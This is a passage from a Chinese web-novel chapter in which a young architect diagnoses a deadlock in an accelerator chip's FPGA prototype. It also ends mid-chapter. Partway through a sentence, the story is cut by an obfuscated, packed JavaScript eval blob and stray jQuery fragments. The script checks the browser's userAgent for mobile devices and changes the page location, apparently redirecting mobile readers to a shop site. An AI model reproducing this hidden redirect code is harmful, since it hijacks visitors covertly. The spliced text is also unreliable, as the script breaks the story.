30.燕隼
里,都有种非常沉稳、专业、让人心安的感觉。那种天然的气场如有实质,团在一块儿的程序员们看着这位年龄过分年轻、长得过分优秀的“白架构师”,不由自主地左右退开,给白明让了一块地出来。

    他盯着屏幕,一动不动地看了五分钟,忽然开口:

    “杜工,你们设计的是加速芯片吧?——某个核心计算单元在持续高负载环境下,经常性地出现数据通路死锁问题。”

    白明指指某个区域:“你看,卡死了。如果不解决这个板块,芯片的实际效果就不能做担保。”

    四周伸着脖子观望的同行们瞬间嗡一声炸开了,“卧槽”“牛逼”“对的对的”声此起彼伏;四面八方投向白明的视线,瞬间变得如看救世主般膜拜而炽热。

    杜工本来简直愁得要把自己的眉毛拧秃了,原本挺周正一小伙子,眉头皱得跟打结似的——闻言如屁股底下塞了弹簧般一跃而起,面容舒展双眼放光,原地兜兜转转自转了一圈,激动地大叫道:“对对!就是这个问题!”

    “给我看看你们的FPGA原型验证平台的顶层架构图,数据流向时序分析报告。哦,以及死锁发生时的系统快照。”白明一目十行地扫着屏幕上滚动的RTL代码,边读仿真日志边吩咐道。

    杜工兴奋得脸都涨红了,下意识地就要点头,准备伸手去调原始图解。

    在切换页面的千分之一秒内,他却忽然像被雷劈回魂一样,“嘎吱”一声扭头看向汪秘书,神情狂喜的脸上硬生生挤出了生硬的询问之意。

    “……”汪秘书心里哀叹一声,现在想起保密协议还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16881151|191897||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    顶个球用啊!于是摆出一个和蔼鼓励的温柔微笑,“没问题!没问题!白总工是自己人,他想要什么,你们就给什么!一切以尽快解决问题为目标导向哈!”

    ——先不说白架构师专业能力有多惊人,人家可是未来老板娘啊!说不定整个震余集团之后有一半要归人家管呢!简直自己人得再不能自己人了好吧!

    虽然汪秘书不懂技术,但他可太懂人了。

    他不知道白明现在正在怎么解决问题,也不知道具体来说他的专业技术能力有多强;但光看周围一群程序员恨不得把脑袋削尖了、挨着挤进前排看白明操作的肢体动作,光看他们泛着诡异的光的、格外兴奋叹服的眼神,就知道白明理解代码的熟练度跟天赋有多高,表现出来的专业技术简直硬得能砍树!

    “嗯……我谈谈我的想法,不一定十分准确,但至少能提供一种思路。”白明说,“我注意到,你们的总架构师在设计的时候,采用了高度并行化的脉动阵列架构来处理矩阵乘加运算。这当然是一种非常新颖而胆大的尝试,但必须提前考虑到其数据流与控制流的复杂程度远超传统CPU这个问题。”

    “死锁报告指向的是多个处理单元之间的异步FIFO缓冲区,所以我怀疑问题不是某个模块、甚至某几个模块的错误,而是整体上的并发缺陷。还要一个证据是,这里的背压信号有问题——看这边,各位觉得是不是?”

    “是是是……”“对啊对啊!”“确实是这样!”

    汪秘书瞠目结舌地看着白明说了一堆他一个字也听不懂的专业术语,随后整个子公司的程序员们都开始频频点头,

本章未完,请点击下一页继续阅读>>